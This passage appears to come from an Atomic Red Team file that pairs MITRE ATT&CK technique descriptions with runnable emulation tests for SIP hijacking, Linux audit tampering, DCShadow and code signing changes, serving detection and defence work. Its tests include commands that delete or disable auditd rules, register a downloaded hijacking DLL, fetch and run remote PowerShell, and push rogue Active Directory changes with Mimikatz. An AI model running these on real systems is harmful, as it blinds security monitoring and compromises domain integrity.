        Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)

        Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)

        * HKLM\SOFTWARE\Microsoft\Cryptography\OID
        * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID
        * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust
        * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust

        **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)

        Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'File: File Modification'
      x_mitre_defense_bypassed:
      - Autoruns Analysis
      - Digital Certificate Validation
      - User Mode Signature Validation
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1553.003
    atomic_tests:
    - name: SIP (Subject Interface Package) Hijacking via Custom DLL
      auto_generated_guid: e12f5d8d-574a-4e9d-8a84-c0e8b4a8a675
      description: "Registers a DLL that logs signature checks, mimicking SIP hijacking.
        This test uses a DLL from \nhttps://github.com/gtworek/PSBits/tree/master/SIP
        and registers it using regsvr32, thereby causing\nthe system to utilize it
        during signature checks, and logging said checks.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: Path to GTSIPProvider.dll
          type: path
          default: PathToAtomicsFolder\T1553.003\bin\GTSIPProvider.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'GTSIPProvider.dll must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/gtworek/PSBits/raw/2aa885c7d09f7f100997bfa5ee0c404084177f24/SIP/GTSIPProvider.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'regsvr32.exe #{dll_payload}

          '
        cleanup_command: 'regsvr32.exe /u #{dll_payload}

          '
        name: command_prompt
        elevation_required: true
  T1556.007:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Hybrid Identity
      description: "Adversaries may patch, modify, or otherwise backdoor cloud authentication
        processes that are tied to on-premises user identities in order to bypass
        typical authentication mechanisms, access credentials, and enable persistent
        access to accounts.  \n\nMany organizations maintain hybrid user and device
        identities that are shared between on-premises and cloud-based environments.
        These can be maintained in a number of ways. For example, Azure AD includes
        three options for synchronizing identities between Active Directory and Azure
        AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization
        (PHS), in which a privileged on-premises account synchronizes user password
        hashes between Active Directory and Azure AD, allowing authentication to Azure
        AD to take place entirely in the cloud \n* Pass Through Authentication (PTA),
        in which Azure AD authentication attempts are forwarded to an on-premises
        PTA agent, which validates the credentials against Active Directory \n* Active
        Directory Federation Services (AD FS), in which a trust relationship is established
        between Active Directory and Azure AD \n\nAD FS can also be used with other
        SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication
        process to AD FS and receive a token containing the hybrid users’ identity
        and privileges. \n\nBy modifying authentication processes tied to hybrid identities,
        an adversary may be able to establish persistent privileged access to cloud
        resources. For example, adversaries who compromise an on-premises server running
        a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService`
        process that authorizes all attempts to authenticate to Azure AD, as well
        as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation:
        AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary
        may edit the `Microsoft.IdentityServer.Servicehost` configuration file to
        load a malicious DLL that generates authentication tokens for any user with
        any set of claims, thereby bypassing multi-factor authentication and defined
        AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able
        to modify the hybrid identity authentication process from the cloud. For example,
        adversaries who compromise a Global Administrator account in an Azure AD tenant
        may be able to register a new PTA agent via the web console, similarly allowing
        them to harvest credentials and log into the Azure AD environment as any user.(Citation:
        Mandiant Azure AD Backdoors)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: ''
      x_mitre_platforms:
      - Windows
      - Azure AD
      - SaaS
      - Google Workspace
      - Office 365
      - IaaS
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Application Log: Application Log Content'
      - 'Logon Session: Logon Session Creation'
      type: attack-pattern
      id: attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f
      created: '2022-09-28T13:29:53.354Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/007
        external_id: T1556.007
      - source_name: Azure AD Connect for Read Teamers
        description: Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers.
          Retrieved September 28, 2022.
        url: https://blog.xpnsec.com/azuread-connect-for-redteam/
      - source_name: AADInternals Azure AD On-Prem to Cloud
        description: 'Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting
          access to cloud as an on-prem admin. Retrieved September 28, 2022.'
        url: https://o365blog.com/post/on-prem_admin/
      - source_name: MagicWeb
        description: 'Microsoft Threat Intelligence Center, Microsoft Detection and
          Response Team, Microsoft 365 Defender Research Team . (2022, August 24).
          MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved
          September 28, 2022.'
        url: https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/
      - source_name: Azure AD Hybrid Identity
        description: Microsoft. (2022, August 26). Choose the right authentication
          method for your Azure Active Directory hybrid identity solution. Retrieved
          September 28, 2022.
        url: https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn
      - source_name: Mandiant Azure AD Backdoors
        description: Mike Burns. (2020, September 30). Detecting Microsoft 365 and
          Azure Active Directory Backdoors. Retrieved September 28, 2022.
        url: https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218.015:
    technique:
      modified: '2024-04-15T23:00:33.493Z'
      name: Electron Applications
      description: |-
        Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)

        Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8)

        Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Debabrata Sharma
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3
      created: '2024-03-07T19:32:35.383Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218/015
        external_id: T1218.015
      - source_name: Electron 3
        description: Alanna Titterington. (2023, September 14). Security of Electron-based
          desktop applications. Retrieved March 7, 2024.
        url: https://www.kaspersky.com/blog/electron-framework-security-issues/49035/
      - source_name: Electron Security
        description: ElectronJS.org. (n.d.). Retrieved March 7, 2024.
        url: https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules
      - source_name: Electron 6-8
        description: Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved
          March 7, 2024.
        url: https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf
      - source_name: Electron 1
        description: TOM ABAI. (2023, August 10). There’s a New Stealer Variant in
          Town, and It’s Using Electron to Stay Fully Undetected. Retrieved March
          7, 2024.
        url: https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/
      - source_name: Electron 2
        description: Trend Micro. (2023, June 6). Abusing Electronbased applications
          in targeted attacks. Retrieved March 7, 2024.
        url: https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1562.012:
    technique:
      modified: '2023-10-03T03:44:46.935Z'
      name: 'Impair Defenses: Disable or Modify Linux Audit System'
      description: |-
        Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.

        Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)

        With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Tim (Wadhwa-)Brown
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'File: File Deletion'
      - 'Process: Process Modification'
      type: attack-pattern
      id: attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054
      created: '2023-05-24T19:03:03.855Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/012
        external_id: T1562.012
      - source_name: IzyKnows auditd threat detection 2022
        description: IzySec. (2022, January 26). Linux auditd for Threat Detection.
          Retrieved September 29, 2023.
        url: https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505
      - source_name: Red Hat System Auditing
        description: Jahoda, M. et al.. (2017, March 14). Red Hat  Security Guide
          - Chapter 7 - System Auditing. Retrieved December 20, 2017.
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
      - source_name: ESET Ebury Feb 2014
        description: M.Léveillé, M.. (2014, February 21). An In-depth Analysis of
          Linux/Ebury. Retrieved April 19, 2019.
        url: https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
      - source_name: Trustwave Honeypot SkidMap 2023
        description: 'Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant
          of SkidMap Targeting Redis. Retrieved September 29, 2023.'
        url: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.012
    atomic_tests:
    - name: Delete all auditd rules using auditctl
      auto_generated_guid: 33a29ab1-cabb-407f-9448-269041bf2856
      description: 'Using ''auditctl -D'' deletes all existing audit rules, resulting
        in the loss of previously configured monitoring settings and the audit trail.
        This action reduces visibility into system activities, potentially leading
        to compliance concerns and hampering security monitoring efforts. Additionally,
        it poses a risk of covering unauthorized activities by erasing evidence from
        audit logs.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if auditd is installed.

          '
        prereq_command: 'if [ $(command -v auditctl) ]; then exit 0; else exit 1;
          fi

          '
        get_prereq_command: "(yum install auditd -y) || (apt-get install auditd -y)
          || (dnf install auditd -y)\n"
      executor:
        command: 'auditctl -D

          '
        name: sh
        elevation_required: true
        cleanup_command: 'service auditd restart

          '
    - name: Disable auditd using auditctl
      auto_generated_guid: 7906f0a6-b527-46ee-9026-6e81a9184e08
      description: 'The command `auditctl -e 0` disables the audit system. By setting
        the parameter to `0`, auditing is deactivated, halting the monitoring and
        recording of security-related events. This action stops the generation of
        audit logs, ceasing the collection of data regarding system activities. Disabling
        auditing may be done for various reasons, such as troubleshooting, performance
        optimization, or temporarily suspending auditing requirements, but it reduces
        visibility into system events and can impact security monitoring and compliance
        efforts.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if auditd is installed.

          '
        prereq_command: 'if [ $(command -v auditctl) ]; then exit 0; else exit 1;
          fi

          '
        get_prereq_command: "(yum install auditd -y) || (apt-get install auditd -y)
          || (dnf install auditd -y)\n"
      executor:
        command: 'auditctl -e 0

          '
        name: sh
        elevation_required: true
        cleanup_command: 'auditctl -e 1

          '
  T1207:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a
      type: attack-pattern
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1207
        url: https://attack.mitre.org/techniques/T1207
      - url: https://www.dcshadow.com/
        description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20,
          2018.
        source_name: DCShadow Blog
      - url: https://adsecurity.org/?page_id=1821
        description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz
          & Command Reference. Retrieved December 23, 2015.
        source_name: Adsecurity Mimikatz Guide
      - url: https://github.com/shellster/DCSYNCMonitor
        description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March
          30, 2018.
        source_name: GitHub DCSYNCMonitor
      - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx
        description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control.
          Retrieved March 30, 2018.
        source_name: Microsoft DirSync
      - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
        description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?.
          Retrieved March 30, 2018.
        source_name: ADDSecurity DCShadow Feb 2018
      modified: '2022-05-11T14:00:00.188Z'
      name: Rogue Domain Controller
      description: |-
        Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

        Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

        This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)

        Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)

        Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)

        Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.
      x_mitre_version: '2.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Network Traffic: Network Traffic Content'
      - 'User Account: User Account Authentication'
      - 'Active Directory: Active Directory Object Creation'
      x_mitre_defense_bypassed:
      - Log analysis
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1207
    atomic_tests:
    - name: DCShadow (Active Directory)
      auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6
      description: |
        Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

        [DCShadow](https://www.dcshadow.com/)
        [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

        It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
        Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

        Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.
        The easiest is to run elevated and as a Domain Admin user.
      supported_platforms:
      - windows
      input_arguments:
        object:
          description: Targeted object (for machine account do not forget to add final
            '$')
          type: string
          default: bruce.wayne
        attribute:
          description: 'Object attribute to edit, interesting ones: badpwdcount, primaryGroupId,
            SIDHistory...'
          type: string
          default: badpwdcount
        value:
          description: Value to assign to object attribute
          type: string
          default: '9999'
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe
        psexec_path:
          description: Path to PsExec
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

          '
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
      executor:
        name: powershell
        elevation_required: true
        command: |
          # starting fake DC server, as SYSTEM (required)
          $dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
          Remove-Item $dc_output_file -ErrorAction Ignore
          $mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
          $dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

          # wait for fake DC server to be ready...
          Start-Sleep -Seconds 5

          # server ready, so trigger replication (push) and wait until it finished
          & "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

          Write-Host "`nWaiting for fake DC server to return"
          Wait-Process $dc

          Write-Host "`nOutput from fake DC server:"
          Get-Content $dc_output_file
          Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
          Remove-Item $dc_output_file -ErrorAction Ignore

          Write-Host "End of DCShadow"
        cleanup_command: 'Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore

          '
  T1553.006:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Abel Morales, Exabeam
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c
      created: '2021-04-23T01:04:57.161Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1553.006
        url: https://attack.mitre.org/techniques/T1553/006
      - source_name: Apple Disable SIP
        url: https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
        description: Apple. (n.d.). Disabling and Enabling System Integrity Protection.
          Retrieved April 22, 2021.
      - source_name: F-Secure BlackEnergy 2014
        url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
        description: 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence
          of crimeware and APT attacks. Retrieved March 24, 2016.'
      - source_name: FireEye HIKIT Rootkit Part 2
        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html
        description: 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'
      - source_name: Microsoft Unsigned Driver Apr 2017
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
        description: Microsoft. (2017, April 20). Installing an Unsigned Driver during
          Development and Test. Retrieved April 22, 2021.
      - source_name: Microsoft DSE June 2017
        url: https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
        description: Microsoft. (2017, June 1). Digital Signatures for Kernel Modules
          on Windows. Retrieved April 22, 2021.
      - source_name: Microsoft TESTSIGNING Feb 2021
        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
        description: Microsoft. (2021, February 15). Enable Loading of Test Signed
          Drivers. Retrieved April 22, 2021.
      - source_name: Unit42 AcidBox June 2020
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
      - source_name: GitHub Turla Driver Loader
        url: https://github.com/hfiref0x/TDL
        description: TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved
          April 22, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may modify code signing policies to enable execution
        of unsigned or self-signed code. Code signing provides a level of authenticity
        on a program from a developer and a guarantee that the program has not been
        tampered with. Security controls can include enforcement mechanisms to ensure
        that only valid, signed code can be run on an operating system. \n\nSome of
        these security controls may be enabled by default, such as Driver Signature
        Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation:
        Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls
        may be disabled by default but are configurable through application controls,
        such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a
        system. Since it can be useful for developers to modify default signature
        enforcement policies during the development and testing of applications, disabling
        of these features may be possible with elevated permissions.(Citation: Microsoft
        Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may
        modify code signing policies in a number of ways, including through use of
        command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112),
        rebooting the computer in a debug/recovery mode, or by altering the value
        of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation:
        Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub
        Turla Driver Loader) Examples of commands that can modify the code signing
        policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on
        Windows and <code>csrutil disable</code> on macOS.(Citation: Microsoft TESTSIGNING
        Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful
        modification of a signing policy may require reboot of the compromised system.
        Additionally, some implementations can introduce visible artifacts for the
        user (ex: a watermark in the corner of the screen stating the system is in
        Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure
        BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related
        to signature checks, such as modifying <code>g_CiOptions</code> to disable
        Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege
        Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but
        vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla
        Driver Loader)"
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Subvert Trust Controls: Code Signing Policy Modification'
      x_mitre_detection: 'Monitor processes and command-line arguments for actions
        that could be taken to modify the code signing policy of a system, such as
        <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING
        Feb 2021) Consider monitoring for modifications made to Registry keys associated
        with code signing policies, such as <code>HKCU\Software\Policies\Microsoft\Windows
        NT\Driver Signing</code>. Modifications to the code signing policy of a system
        are likely to be rare.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - User Mode Signature Validation
      - Digital Certificate Validation
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1553.006
    atomic_tests:
    - name: Code Signing Policy Modification
